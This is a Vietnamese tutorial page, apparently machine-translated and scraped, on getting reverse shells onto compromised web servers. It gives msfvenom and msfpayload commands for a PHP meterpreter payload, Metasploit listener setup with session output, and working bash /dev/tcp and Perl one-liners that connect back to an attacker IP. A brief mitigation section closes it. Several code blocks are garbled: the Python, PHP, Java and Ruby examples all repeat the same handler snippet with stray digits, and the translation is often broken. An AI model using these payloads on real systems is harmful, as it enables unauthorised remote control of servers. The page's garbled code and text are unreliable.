Hướng dẫn php reverse shell payload - tải trọng shell đảo ngược php

Yêu cầu: Viết quyền truy cập vào máy chủ web.: Write access to webserver.

Nội phân Chính showShow

  • Vỏ đảo ngược là gì?
  • Vỏ đảo ngược hoạt động như thế nào?
  • Ví dụ về vỏ ngược
  • Bash vỏ đảo ngược
  • Perl Shell Reverse Shell
  • Python vỏ ngược
  • Php vỏ ngược
  • Java Reverse Shell
  • Ruby Reverse Shell
  • Ngăn chặn shell đảo ngược

  1. Tạo tệp PHP độc hại:
    msfvenom -p php/meterpreter/reverse_tcp LHOST=<$LOCAL_IP> LPORT=<$LOCAL_PORT> -f raw -o shell.php
    
  2. Chạy
    use exploit/multi/handler 
    set LHOST <$LOCAL_IP>
    set LPORT <$LOCAL_PORT>
    set PAYLOAD php/meterpreter/reverse_tcp 
    exploit
    
    4 để bắt đầu người nghe:
    use exploit/multi/handler 
    set LHOST <$LOCAL_IP>
    set LPORT <$LOCAL_PORT>
    set PAYLOAD php/meterpreter/reverse_tcp 
    exploit
    
  3. Tải lên
    use exploit/multi/handler 
    set LHOST <$LOCAL_IP>
    set LPORT <$LOCAL_PORT>
    set PAYLOAD php/meterpreter/reverse_tcp 
    exploit
    
    5 lên máy chủ nạn nhân và sau đó truy vấn nó trong trình duyệt. Điều này sẽ kết nối trở lại với trình nghe Metasploit cục bộ và mở một vỏ trên máy chủ.

Sau khi hack một ứng dụng web hoặc máy chủ ở mức độ mà bạn có thể tải các tệp lên nó, điều tiếp theo cần thử là lấy một shell thích hợp trên hệ thống. Cách tiếp cận phổ biến nhất là tạo vỏ đảo ngược. Theo cách tiếp cận này, một chương trình người nghe đầu tiên được chạy trên máy của hacker và sau đó chương trình/tải trọng/tập lệnh được chạy trên máy đích sao cho nó kết nối lại với máy của hacker để cung cấp shell/thiết bị đầu cuối.

Tạo vỏ đảo ngược bằng cách sử dụng các tập lệnh PHP thường khá dễ dàng và có thể được thực hiện chỉ bằng một PHP nhỏ và một chương trình như Netcat. Netcat sẽ chạy như một người nghe (một máy chủ ổ cắm thực sự) và tập lệnh PHP phải được chạy trên máy chủ nạn nhân để nó kết nối lại.

Trong ví dụ này, chúng tôi sẽ tạo ra các vỏ đảo ngược trong PHP bằng Metasploit. Vâng, nó là một công cụ quá lớn cho một nhiệm vụ nhỏ như vậy nhưng dù sao trông cũng rất tuyệt.

Để tóm tắt những điều cơ bản về vỏ đảo ngược hãy nhớ rằng nó có 2 thành phần. Đầu tiên là người nghe trên hệ thống cục bộ/hacker chờ kết nối đến và thứ hai là tập lệnh/chương trình tải trọng chạy trên máy tính đích và được cấu hình để kết nối với trình nghe và cung cấp shell.

listener (hacker machine) ++--- reverse shell payload (victim machine)

Khi trình nghe được kết nối, nó có thể có một shell có thể được sử dụng để chạy bất kỳ lệnh nào (giới hạn trong đặc quyền người dùng) trên hệ thống đích.

Tải trọng PHP

Vì vậy, bước đầu tiên là tạo chương trình tải trọng của chúng tôi. Điều này được thực hiện bằng cách sử dụng lệnh msfpayload và trông như thế này

# msfpayload php/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=6000 R > exploit.php

Lệnh trên sẽ tạo một tệp có tên là khai thác.php là tải trọng shell ngược. Nó chỉ là một tập lệnh PHP đơn giản được cấu hình theo các tham số LHOST và LPORT.

Bây giờ tải lên khai thác.php lên hệ thống đích. Đợi đã, chưa chạy nó. Đầu tiên chúng ta cần bắt đầu người nghe như trong bước tiếp theo.

Bắt đầu người nghe

Khi tải trọng được tải lên, điều tiếp theo cần làm là bắt đầu trình nghe của chúng tôi, điều này sẽ bắt được ưu đãi kết nối đến. Bắt đầu msfconsole và chạy các lệnh sau

msf > use exploit/multi/handler
msf  exploit(handler) > set LHOST 192.168.1.4
LHOST => 192.168.1.4
msf  exploit(handler) > set LPORT 6000
LPORT => 6666
msf  exploit(handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf  exploit(handler) > exploit
[*] Started reverse handler on 192.168.1.4:6000
[*] Starting the payload handler...

Bây giờ người nghe đã sẵn sàng. Bây giờ là lúc để chạy tập lệnh PHP trên máy chủ. Nó được tải lên, và bây giờ có thể được chạy bằng cách mở từ trình duyệt như một URL bình thường.

http://targetmachine/some/path/exploit.php

Ngay khi tập lệnh bắt đầu chạy, msfconsole sẽ chỉ ra kết nối và phiên đồng hồ đo sẽ xuất hiện

[*] Sending stage (39217 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.4:6000 -> 192.168.1.101:43400) at 2013-03-04 17:29:18 +0530
meterpreter >

Bây giờ máy đo đó đã hoạt động, đã đến lúc chơi với hệ thống. Vì nó là một shell ngược dựa trên PHP, nó không phụ thuộc vào hệ điều hành nền tảng đích theo mọi thứ và có thể chạy trên Windows và Linux.
Since it is a php based reverse shell, it is not dependant on the target platform OS in anyways and can run on windows and linux alike.

Một người đam mê công nghệ, blogger, người hâm mộ Linux và một nhà phát triển phần mềm. Viết về phần cứng máy tính, Linux và phần mềm nguồn mở và mã hóa trong Python, PHP và JavaScript. Anh ta có thể đạt được tại [Email & NBSP; được bảo vệ].[email protected].

bài chuyển hướng

Thu thập thông tin với màn hình tập lệnh NMAP và tự động khởi động lại CROND trong CPANEL/WHM Monitor and auto restart crond in cpanel/whm

Vỏ đảo ngược là gì?

Reverse Shell Là 1 loại Phiên Shell (NGOÀi RA CNN đó là Web Shell, Bind Shell, ..) Khi Đó Target sẽ tạo kết nối ra bên ngoài và chủ nhà Sẽng nghe. Trong trường hợp kẻ tấn công Mà ĐA Khai thác Đan lỗ hổng đó Một SHELL SHELL (HAY CUN GọI SHELL-BACK SHELL) CũNG CÓ

Nội phân chính

  • Vỏ đảo ngược là gì?
  • Vỏ đảo ngược hoạt động như thế nào?
  • Ví dụ về vỏ ngược
  • Bash vỏ đảo ngược
  • Perl Shell Reverse Shell
  • Python vỏ ngược
  • Php vỏ ngược
  • Java Reverse Shell
  • Ruby Reverse Shell
  • Ngăn chặn shell đảo ngược

Nội phân chính

  • Vỏ đảo ngược là gì?
  • Vỏ đảo ngược hoạt động như thế nào?
  • Ví dụ về vỏ ngược
  • Bash vỏ đảo ngược
  • Perl Shell Reverse Shell
  • Python vỏ ngược
  • Php vỏ ngược
  • Java Reverse Shell
  • Ruby Reverse Shell
  • Ngăn chặn shell đảo ngược

Vỏ đảo ngược hoạt động như thế nào?

Tạo tệp PHP độc hại:

msfvenom -p php/meterpreter/reverse_tcp LHOST=<$LOCAL_IP> LPORT=<$LOCAL_PORT> -f raw -o shell.php

Reverse shell thường là cách duy nhất để thực hiện quản lí từ xa tới host thông qua NAT, cho nên nó cần quyền admin để sử dụng. Tuy nhiên , nó cũng có thể được tận dụng bởi tội phạm mạng để kết nối và thực thi các lệnh trên những máy chủ được bảo vệ bởi firewall hoặc hệ thống bảo mật mạng khác. Ví dụ 1 đoạn mã độc malware được cài đặt trên máy chủ nội bộ thông qua email giả mạo hoặc 1 trang web độc hại có thể tạo ra 1 kết nối ra bên ngoài tới 1 CMS và cho phép hacker sử dụng được reverse shell .Trong khi Firewall thì đa số lọc các kết nối từ bên ngoài vào cho nên những kết nối từ nội bộ ra ngoài tới 1 server đang lắng nghe thường thành công.

Khi thử tấn công đến server , kẻ tấn công thường thử khai thác các lỗ hổng về command injection ở trên hệ thống của mục tiêu . Các đoạn lệnh được inject thường là reverse shell script để cung cấp 1 môi trường thuận tiện cho việc sử dụng các command shell và thực thi các hành vi độc hại sau này.

Ví dụ về Reverse shell

Để bắt đầu, attacker cần bắt đầu 1 listener processe trên chính máy của attacker để nhận các kết nối reverse shell tới IP của attacker, ví dụ IP attacker là 10.0.0.123 , trên Linux . Nó được thực hiện vởi netcat command như sau :

ncat -l -p 1111

Nó sẽ tạo ra 1 process netcat listener trên cổng 1111. Lúc này attacker sẽ cần chạy đoạn mã thực thi trên máy trính mục tiêu, kết nối đến listener. Đã có rất nhiều reverse shell code có sẵn dành cho các loại hệ điều hành và viết bởi nhiều ngôn ngữ khác nhau (xem thêm tại pentestmonkey’s Reverse Shell Cheat Sheet ) và trên kali cũng có sẵn 1 loạt các webshells và reverese shell. Dưới đây là ví dụ dành cho Linux và Unix , một số sẽ hoạt động được cả trên windows nếu thay đổi command line interpreter gọi từ

use exploit/multi/handler 
set LHOST <$LOCAL_IP>
set LPORT <$LOCAL_PORT>
set PAYLOAD php/meterpreter/reverse_tcp 
exploit
6 thành
use exploit/multi/handler 
set LHOST <$LOCAL_IP>
set LPORT <$LOCAL_PORT>
set PAYLOAD php/meterpreter/reverse_tcp 
exploit
7.

Bash Reverse shell

Nếu máy tính mục tiêu chạy trên Linux, nó khá là lý tưởng để bắt đầu bằng bash và gần như tất cả các hệ thống linux đều hoạt động với shell này :

/bin/bash -i >& /dev/tcp/10.0.0.123/1111 0>&1

Perl Reverse shell

Cũng như Bash , perl interpreter cũng gần như có sẵn trên các hệ thống server linux, cho nên Perl cũng là 1 lựa chọn khác để chạy reverse shell:

perl -e 'use Socket;$i="10.0.0.123";$p=1111;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python reverse shell

Với sự phát triển khá phổ biến hiện nay của python thì 1 lựa chọn khác mà có sẵn trên các hệ thống có thể thực thi lệnh như sau :

use exploit/multi/handler 
set LHOST <$LOCAL_IP>
set LPORT <$LOCAL_PORT>
set PAYLOAD php/meterpreter/reverse_tcp 
exploit
0

PHP reverse shell

Gần như đa số web server PHP cũng cung cấp các reverse shell vector :

use exploit/multi/handler 
set LHOST <$LOCAL_IP>
set LPORT <$LOCAL_PORT>
set PAYLOAD php/meterpreter/reverse_tcp 
exploit
1

Java Reverse Shell

Java thì cũng gần như có sẵn trên các ứng dụng server :

use exploit/multi/handler 
set LHOST <$LOCAL_IP>
set LPORT <$LOCAL_PORT>
set PAYLOAD php/meterpreter/reverse_tcp 
exploit
2

Ruby Reverse Shell

Ruby thì cũng là 1 ngôn ngữ khá là nổi cho web app cho nên nó cũng có để phục vụ 1 số mục đích trên server :

use exploit/multi/handler 
set LHOST <$LOCAL_IP>
set LPORT <$LOCAL_PORT>
set PAYLOAD php/meterpreter/reverse_tcp 
exploit
3

Ngăn chặn reverse shell

Trừ khi bạn cố tình sử dụng reverse shell để quản trị từ xa thì bất kỳ mọi kết nối reverse shell nào cũng có thể là độc hại. Thật không may, cũng không có cách nào chắc chắn để chặn các kết nối reverse shell trên hệ thống mạng, đặc biệt là máy chủ. Bạn có thể giảm thiểu rủi ro bằng cách :

  • Để hạn chế khai thác, bạn có thể khóa kết nối ra ngoài và chỉ cho phép các địa chỉ IP và cổng cụ thể hoạt động cho các dịch vụ được yêu cầu. Điều này có thể đạt được bằng cách dùng sandbox hoặc chạy máy chủ trong một môi trường cô lập. Một cách khác có thể là thiết lập một máy chủ proxy quản lí chặt các điểm đến. Tuy nhiên, các reverse shell cũng có thể được tạo ngay cả trên DNS cho nên việc làm như vậy chỉ có thể hạn chế rủi ro của các kết nối reverseshell chứ không loại bỏ được.
  • Ngoài ra cũng có thể khiến cho việc tấn công cảu attacker khó hơn là xóa tất cả các tools và interpreter để ngăn chặn sự thực thi của 1 số shell code. Nhưng đây cũng không làm thay đổi lắm vì có thể attacker vẫn có thể tìm và cài các shell khác lên